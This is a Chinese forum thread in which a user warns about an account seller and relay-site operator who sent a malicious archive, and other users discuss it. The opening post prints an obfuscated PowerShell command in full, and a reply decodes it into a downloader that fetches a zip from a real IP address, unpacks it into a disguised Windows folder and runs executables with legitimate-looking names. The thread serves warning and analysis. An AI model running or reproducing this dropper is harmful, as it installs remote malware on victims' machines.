气不过！曝光一个会投毒的卡商/中转站/TG的信息！伤我心了!

CyrusAmazing 2026-07-30 21:59 1

背景

每天都有沟通问他TM的有没有号，结果今天TM 的给我说可以私下发我号，结果我一个压缩包里面是个可执行脚本如下：

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe        -NoP -ep Bypass -w h -EncodedCommand  JAByAGUAdgAgAD0AIAAnADsAIgBlAHgAZQAuAGQAcwBsAG8AbwB0AG0AdgBcAFwAQwBNAE0AXABcAHQAZgBvAHMAbwByAGMAaQBNAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAJgA7ACIAZQB4AGUALgB0AHIAbwBwAGcAaABjAFwAXABDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIAAmADsAZQBjAHIAbwBGAC0AIAAiAHAAaQB6AC4AMwAzADMAdQBoAG4AbwBZAFwAXABDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIABtAGUAdABJAC0AZQB2AG8AbQBlAFIAIAA7AGUAYwByAG8ARgAtACAAIgBDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIABoAHQAYQBQAG4AbwBpAHQAYQBuAGkAdABzAGUARAAtACAAIgBwAGkAegAuADMAMwAzAHUAaABuAG8AWQBcAFwAQwBNAE0AXABcAHQAZgBvAHMAbwByAGMAaQBNAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAaAB0AGEAUAAtACAAZQB2AGkAaABjAHIAQQAtAGQAbgBhAHAAeABFADsAZwBuAGkAcwByAGEAUABjAGkAcwBhAEIAZQBzAFUALQAgACIAcABpAHoALgAzADMAMwB1AGgAbgBvAFkAXABcAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAG8ALQAgACIAcABpAHoALgAzADMAMwB1AGgAbgBvAFkALwA1ADQAMQAuADgAMgAxAC4AMgAyADEALgB9AEIAUwB7ACQAfQB2AHYAewAkAH0AYwBhAHsAJAAiACAAbAByAHUAYwA7AH0AbABsAHUATgAtAHQAdQBPAHwAZQBjAHIAbwBGAC0AIAAiAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAHkAcgBvAHQAYwBlAHIAaQBEACAAZQBwAHkAVAAtACAAbQBlAHQASQAtAHcAZQBOACAAIAB7ACkAKQAiAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAGgAdABhAFAALQB0AHMAZQBUACgAIAB0AG8AbgAtACgAIABmAGkAIAA7AGcAbgBpAHMAcgBhAFAAYwBpAHMAYQBCAGUAcwBVAC0AIAAiAHQAeAB0AC4ADmb0i1wAXABoAHQAYQBQAGwAYQBjAG8AbAAkACIAIABvAC0AIAAiAHQAeAB0AC4ADmb0iy8ANQA0ADEALgA4ADIAMQAuADIAMgAxAC4AfQBCAFMAewAkAH0AdgB2AHsAJAB9AGMAYQB7ACQAIgAgAGwAcgB1AGMAOwAiADQAMwAxAC8ALwA6ACIAPQBCAFMAJAA7ACIAZwBuAGkAcwByAGEAIgA9AGwAbAAkADsAIgBQAGMAaQAiAD0AawBrACQAOwAiAHMAYQBCACIAPQBqAGoAJAA7ACIAZQBzAFUALQAiAD0AaABoACQAOwAiAHAAIgA9AHYAdgAkADsAIgB0AHQAaAAiAD0AYwBhACQAOwAiAGoAZABoACIAPQBqAGQAaAAkADsAIgBqAHUAaAAiAD0AagB1AGgAJAA7ACIAagBEAFMAaAAiAD0ARQBSAGgAJAA7ACIAZQByAHQAcgB5ACIAPQBkAHMAZQBmACQAOwAiAGUAZQBlAHcAcwBzAHkAIgA9AHMAcwBlAGYAJAA7ACIAZQBlAHMAYQByAHIAZQBlAGYAZABzAHMAeQAiAD0AcwBzAGcAZgBkAGYAJAA7ACIAZQBlAHMAYQBjAHYAZAAiAD0AcwBzAGcAaABpAGwAZABmACQAOwAiAHQAZQB5AGQAaABzACIAPQBEAEgAUwBUAFIAJAA7ACIAdABvAGwAeQBnAGgAYgBzACIAPQBlAHIAZgBnAHkAJAA7ACIAZABwAG8AbABsAHMAIgA9AGYAZQBkAHMAYQBhACQAOwAiAGQAdQBqAHQAZAAiAD0AQQBEAFMAZABSAEYARAAkADsAIgBzAGEAcgBmAHYAYwAiAD0AdQB1AHUAaABmAGIAJAA7ACIAcwBhAHIAdAByAHIAdABrAGoAIgA9AHUAdAB2AHYAeQB5AHkAeQBoAG4AZAAkADsAIgBzAGEAcgBLAEoASABqACIAPQB1AHQAdgB2AHkAeQB5AEgAQgBuAEEAJAA7ACIAcwBhAHIASwBGAEgAagAiAD0AdQB0AEEARABIAEIAbgBBACQAOwAiAHMAYQByACIAPQB1AHQAQQAkADsAIgBzAGEAcgBLACIAPQB1AHQAQQBkACQAOwBlAGMAcgBvAEYALQAgACIAawBuAGwALgB0AHgAdAAuAA5m9ItcAFwAaAB0AGEAUABsAGEAYwBvAGwAJAAiACAAaAB0AGEAUAAtACAAbQBlAHQASQAtAGUAdgBvAG0AZQBSACAAOwBoAHQAYQBQAC4AKQBuAG8AaQB0AGEAYwBvAEwALQB0AGUARwAoACAAPQAgAGgAdABhAFAAbABhAGMAbwBsACQAJwAKACQAYwBtAG0AIAA9ACAALQBqAG8AaQBuACAAJAByAGUAdgBbAC0AMQAuAC4ALQAkAHIAZQB2AC4ATABlAG4AZwB0AGgAXQAKAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAG0A

TG号：@whistlelads

云猫店铺：https://catfk.com/shop/whistlelads

卡密兑换地址：https://key.whistlelads.com/

中转站（严重怀疑会下毒）：https://ai.whistlelads.com/

虽然没中招，但是真的伤我心了... 每天都找他聊天，号有问题质保内也自认倒霉... 啊，网络啊，有真情吗

最新回复 (12)

Tonycola 07-30 22:00

1楼

^-^
yuyu12138 07-30 22:00

2楼

下毒是什么意思 ^-^
CyrusAmazing 楼主 07-30 22:01

3楼

@yuyu12138 #2 发我病毒程序，伪装成卡号文件
我真是 07-30 22:01

4楼

^-^ 太可刑了
ggchaos 07-30 22:01

5楼

^-^
hugsky 07-30 22:06

6楼

防不胜防
gonode 07-30 22:07

7楼

太可怕了，这段脚本是要做什么，有人研究过吗
Javascript 07-30 22:10

8楼
@gonode #7

这是恶意软件（木马/下载器）。

这是一条被高度混淆的 PowerShell 命令，典型特征如下：
- -NoP（不加载配置文件）
- -ep Bypass（绕过执行策略）
- -w h（隐藏窗口）
- -EncodedCommand + Base64（UTF-16LE）编码
解码后实际执行的操作（已去混淆）
```
$localPath = (Get-Location).Path

Remove-Item -Path "$localPath\说明.txt.lnk" -Force



# 一堆无意义的干扰变量（混淆用）



curl "http://134.122.128.145/说明.txt" -o "$localPath\说明.txt" -UseBasicParsing



if (-not (Test-Path "$env:APPDATA\Microsoft\MMC")) {

    New-Item -Type Directory "$env:APPDATA\Microsoft\MMC" -Force | Out-Null

}



curl "http://134.122.128.145/Yonhu333.zip" -o "$env:APPDATA\Microsoft\MMC\Yonhu333.zip" -UseBasicParsing

Expand-Archive -Path "$env:APPDATA\Microsoft\MMC\Yonhu333.zip" -DestinationPath "$env:APPDATA\Microsoft\MMC" -Force

Remove-Item "$env:APPDATA\Microsoft\MMC\Yonhu333.zip" -Force



& "$env:APPDATA\Microsoft\MMC\chgport.exe"

& "$env:APPDATA\Microsoft\MMC\vmtoolsd.exe"
```
行为总结
1. 删除当前目录下的 说明.txt.lnk（快捷方式，可能是诱骗用的）。
2. 从远程服务器 134.122.128.145 下载两个文件：
  - 说明.txt
  - Yonhu333.zip
3. 把 zip 解压到 %APPDATA%\Microsoft\MMC\（伪装成正常微软目录）。
4. 直接运行解压出来的 chgport.exe 和 vmtoolsd.exe（这两个名字是伪装，真实内容是恶意程序）。
这是典型的远控木马/下载器手法：通过混淆 PowerShell 落地，再拉第二阶段 payload 执行。

不要运行这段命令。 如果你已经执行过，建议立刻断网、查杀（推荐用专业杀软全盘扫描），并检查 %APPDATA%\Microsoft\MMC 目录是否有异常文件。
村长老了 07-30 22:14

9楼

要默认网络上的人会跑路，不管1块还是100块
DEBUGBin 07-30 22:14

10楼

我也想知道
yun2cloud 07-30 22:16

11楼

^-^
CyrusAmazing 楼主 07-30 22:49

12楼

@Javascript #8 是的，codex也帮我分析了，所有的 ip 都封死了